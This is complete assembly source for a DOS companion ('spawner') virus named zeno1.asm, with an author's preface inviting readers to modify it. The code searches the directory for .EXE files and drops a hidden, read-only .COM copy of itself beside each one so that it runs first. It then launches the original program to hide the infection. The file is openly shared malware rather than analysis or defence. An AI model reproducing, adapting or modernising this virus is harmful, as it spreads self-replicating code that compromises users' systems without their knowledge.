zeno1.asm - Virus - Source Code

;NON-RESIDENT SPAWNER

; I threw this thing together in less than an hour and haven't looked
; at it since so yes, I know it needs real work. Mangle and change as
; you please. The original goal was to create the smallest spawner but
; I got bored with the whole thing. Some of the code was taken from
; the source code to Directory Magic by pcmag. Have phun....





CSEG        SEGMENT
        ASSUME  CS:CSEG,DS:NOTHING

        ORG 100H    ;Beginning for .COM programs

START:  JMP MY_BEGIN    ;Initialization code is at end


wild            DB  "*.EXE",0
file_Ext        DB  "COM",0
file_found      DB  12 DUP(' '), 0
file_create     DB  12 DUP(' '), 0
search_attrib   DW  17H
num_infect      dw  0

my_cmd:
Cmd_len         db  13
file_clone      db  12 DUP (' '), 0

        ASSUME  CS:CSEG, DS:CSEG, ES:NOTHING

;------------------------------------------------------------------;
Prepare_command:
           cld
           mov    di,OFFSET file_clone
           mov    al,0
           mov    cx,12
           repne scasb          ; find the end of string \0

           mov    al,0Dh        ; <CR>
           stosb                ; replace \0 with a <CR>

           mov    ax,12         ;store length of the command
           sub    ax,cx
           mov    cmd_len, al
           ret

;------------------------------------------------------------------;
Store_name:

           MOV    DI,OFFSET file_found   ;Point to buffer.
           MOV    SI,158
           MOV    CX,12
           REP MOVSB

           MOV    DI,OFFSET file_create  ;Point to buffer.
           MOV    SI,158
           MOV    CX,12
           REP MOVSB

           cld
           mov    di,OFFSET file_create
           mov    al,'.'
           mov    cx,9
           repne scasb                   ;find the '.'

           mov    si,OFFSET file_ext
           mov    cx,3
           rep movsb                     ;replace the .EXE with .COM

           ret


;------------------------------------------------------------------;
;Does the file exist?

Check_file:
           mov    dx,OFFSET file_create
           mov    cx,0
           mov    ax,3d00h        ; Open file read only
           int    21h

Chk_done:
           ret

;------------------------------------------------------------------;
Infect_file:
;Create file
           mov    dx,OFFSET file_create
           mov    cx,0
           mov    ah,3ch
           int    21h
           jc     EXIT

;Write to file
           mov    bx,ax
           mov    cx,(OFFSET END_OF_CODE - OFFSET START)
           mov    dx,OFFSET START
           mov    ah,40h
           int    21h

;Close file
           mov    ah,3eh    ; ASSUMES bx still has file handle
           int    21h

;Change attributes
           mov    dx,OFFSET file_create
           mov    cx,3          ;(1) read only, (2) hidden, (4) system
           mov    ax,4301h
           int    21h

           ret

;------------------------------------------------------------------;
; Read all the directory filenames and store as records in buffer. ;
;------------------------------------------------------------------;

MY_BEGIN:
               mov    sp,offset STACK_HERE      ;move stack down
               mov    bx,sp
               add    bx,15
               mov    cl,4
               shr    bx,cl
               mov    ah,4ah                  ;deallocate rest of memory
               int    21h

               MOV    DI,OFFSET file_clone ;Point to buffer.
           MOV    SI,OFFSET file_found
           MOV    CX,12
           REP MOVSB

READ_DIR:      MOV    DX,OFFSET wild
           MOV    CX,search_attrib

           MOV    AH,4EH     ; This finds the first matching file.
           INT    21H

           JC     EXIT                   ;If empty directory, exit.

Do_file:
           call   Store_name

           call   Check_file
           jnc    seek_another  ; CF = 0, shadow already there... skip it

           call   Infect_file
           jmp    Exit

seek_another:

find_next:
           mov   ah,4fh
           int   21h
           jmp   Do_file

EXIT:

;Run the original program
           call   Prepare_command
           mov    si, OFFSET my_cmd
           int    2Eh                 ;Pass command to command
                      ; interpreter for execution
;Exit to DOS
           MOV    AX,4C00H
           INT    21H

END_OF_CODE =   $

STACK_HERE  EQU   END_OF_CODE + 512

CSEG        ENDS
        END START